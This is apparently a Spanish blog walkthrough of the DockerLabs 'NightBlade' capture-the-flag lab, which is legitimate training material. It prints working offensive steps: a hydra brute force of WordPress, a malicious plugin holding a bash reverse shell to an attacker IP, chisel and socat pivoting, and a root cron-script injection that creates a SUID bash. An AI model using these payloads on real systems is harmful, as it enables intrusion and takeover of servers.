NightBlade, DockerLabs
Maquina Nightblade de DockerLabs clasificada como media con pivoting que sepamos de momento, despues de hacerla
Herramientas y recursos
| Tecnicas | Herramientas | objetivo |
|---|---|---|
| scan de puertos | nmap | Descubrimiento de servicios expuestos |
| Fuzzing Web | feroxbuster | Enumeración de directorios y archivos ocultos |
| Fuerza bruta de usuarios | wpscan | descubrir usuarios |
| Pivoting | chisel | tuneles y redirecciones |
| Fuerza bruta hash MD5 | john | obtencion de password |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y en esta ocasion solo disponemos del 80 y el mismo nmap ya nos reporta dos cosas interesantes un posible wordpress y una posible ruta , aunque pareciera un md5 o una cade hex , no obtsante primero entremos a ver la web.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX nigthblade
Visitamos la web y revisamos su codigo por si hay algo y no encontramos nada util o interesante , es un puto restricted shell y en este caso hecho en js con ^u podemos ver el codigo y darnos cueta de que todo lo que ejecutemos ahi es puro humo , vamos mas falso que un euro de madera.
Lanzamos un feroxbuster:
1
feroxbuster -u http://10.10.10.1 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php -s 200,301,302,403,500 --dont-filter
De lanzar ferox obtengo varias cosas:
- Me confirma que hay rutas de wordpress
- Y me da un 404 en la ruta extraña del robots.txt por tanto eso no es una ruta.
Compruebo la ruta de robots.txt y me copio la cadena y trataramos de decodearla y como decia antes o es md5 o hexadecimal.
1
2
echo '4c334d7a5933497a6445417662476c7a644335306548513d0a' | xxd -r -p
echo '4c334d7a5933497a6445417662476c7a644335306548513d0a' | xxd -r -p | base64 -d
Sabemos que es una cadena hexadecimal porque los caracteres van del 0-9 y de la A ala F
Vamos a la nueva ruta y obetenemos una lista de posibles contraseñas fuerza bruta contra el wordpress pero antes vamos a lanzar wpscan para obetener algun usario valido.
1
wpscan --url http://10.10.10.2/wp --api-token xxxxxxxxxxxxxxxxxxxx --random-user-agent -e u -o maquina1.txt
Vemos que tenemos directory listing y sobre todo lo que nos interesaba un user krav0 asi que toca realizar fuerza bruta contra el login de wordpress.
Yo tuve algunos inconvenientes con wordpress al tratar de realizar algunas acciones este internamente estaba configurado con otra ip mandaba a la maquina que no existia , la solucion fueron unas reglas de iptables.
1
2
3
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A OUTPUT -d 172.17.0.2 -j DNAT --to-destination 10.10.10.2
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
- Activamos el fordwading dado que linux rechaza todo lo que no valla al el mismo
- Segundo comando:
- -t nat: Indica que trabajamos en la tabla de traducción de direcciones de red.
- -A OUTPUT: Se aplica al tráfico que se genera en la propia máquina (hacia afuera).
- -d 172.17.0.2: Significa “Si el destino original es 172.17.0.2…”.
- -j DNAT –to-destination 10.10.10.2: “…cambia ese destino por 10.10.10.2”.
- Tercer comando:
- Es un nat dinamico y al salir el paquete de nuestra maquina le cambia la ip por la de nuestra maquina de esa forma la otra maquina sabra donde responder.
Una vez solucionado el problema sabiendo lo que nos devolvera wordpress, lanzamos un ataque de fuerza bruta con hydra.
1
hydra -l krav0 -P dicc 10.10.10.2 http-form-post "/wp/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=id=\"login_error\""
Ahora con el user y el pass vamos a ver si es verdad y si nos podemos loguear , crearemos un pluggin que nos de una revshell
En nuestra maquina local creamos un .php y lo comprimimimos en zip para subirlo posteriormente desde el admin panel
1
2
3
4
5
6
<?php
/**
* Plugin Name: RevShell
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.18.14/4444 0>&1'");
?>
1
zip pluging.zip plugg.php
Una vez subido he instalado lo activamos y se nos lanzara la revshell.
Ahora nos colocamos en escucha y recibimos la revshell. Como os decia arriba yo he subido algo un poco mas util que una simple revshell y como se que hay varias maquinas asi me pòdre enviar las revshells que necesite sin mucha complicacion.
Ni bien entramos hacemois un ifconfig y se nos muetra el otro dispositivo de red.
Despues de estar un buen rato tratando de escalar a root en esta maquina yo no encontre la forma , asi que directamente voy a pasar a la parte de pivoting y para ello vamos a transferirnos dos ficheros el chisel y el socat
Para poder ver lo que esconde la maquina 2 seguimos estos pasos:
1
2
3
4
5
6
7
8
9
10
11
- En la maquina atacante lanzamos **chisel en modo servidor**
```bash
./chisel server --reverse -p 11111
```
- En la victima 1 otro chisel como cliente apuntando a nuestra atacante.
```bash
./chisel client 192.168.18.14:11111 R:socks
```
Maquina atacante:
Maquina victima 1:
Añadimos en /etc/proxychains.conf lo que nos indica comando lanzado en la atacante y tambien creamos un proxy nuevo en foxyproxy.
Hasta aqui ya conseguimos ver la maquina 2 pero ella a nosotros no para eso luego usaremos socat cuando nos tengamos que mandar una revshell desde ella.
No obstante podemos usar la herramientas a traves del proxy para alcanzarla , ahora es como si empezamos con una maquina nueva pero haciendo uso del proxy que hemos creado , asi que primero le tiramos un nmap.
1
sudo proxychains nmap -A -n -Pn 20.20.20.3
Si revisamos la web no se ve nada es una pagina por defecto asi que vamos a hacer fuzzing
1
feroxbuster -u http://20.20.20.3 --proxy socks5://127.0.0.1:1080 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,js,txt,sql,zip,bkp,backup
Ferox nos tira dos datos interesantes un index.php y un db.sql , entrando en la web no hay nada asi que paso a ver el db vamos a la ruta y lo descargamos.
1
cat db.sql
Como siempre nos quedamos con esos valores y los preparo para john.
Nos da el password dragon para nightblade asi que nos vamos a ssh
1
proxychains4 ssh nightblade@20.20.20.3
Ya estamos dentro de la segunda maquina.
Buscando procesos encuentro que cron esta ejecutado por root , asi que vamos a averiguar que es lo que ejecuta y donde esta
1
find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /etc -prune -o -writable -type f 2>/dev/null
Hemos encontrado un fichero en /opt ahoara vamos a ver si corresponde al cron que se ejecuta con root.
Nos deplazamos a la configuracion general de cron.d y observamos y comprobamos que estamos por el camino correcto.
Ahora que esta todo mas claro vamos a añadir una linea al final del fichero y esperamos 1 minuto a que lo ejecute.
1
echo 'cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot' >> /opt/scripts/check.sh
Nos hemos copiado con permisos de suid bash a tmp y lo ejecutamos con bashroot -p.
Hasta aqui la maquinita ,divertida y esta bien de vez en cuando tocar algo de pivoting
TIPS EXTRA
Si hubiesmos tenido que mandarnos una revshell, hubiesemos hecho uso de socat de la siguente manera en la victima 1:
1
./socat tcp-l:33333,fork,reuseaddr tcp:192.168.18.14:1188
1
- Le estamos indicando que todo el trafico que reciba en el puerto 33333 lo reenvia al atacante o la maquina que este delante lo envie al puerto 1188 donde tendremos a nc escuchando.
En fin saludo y gracias por las maquinas , asi difundiendo y compartiendo se aprende.

























Comments powered by Disqus.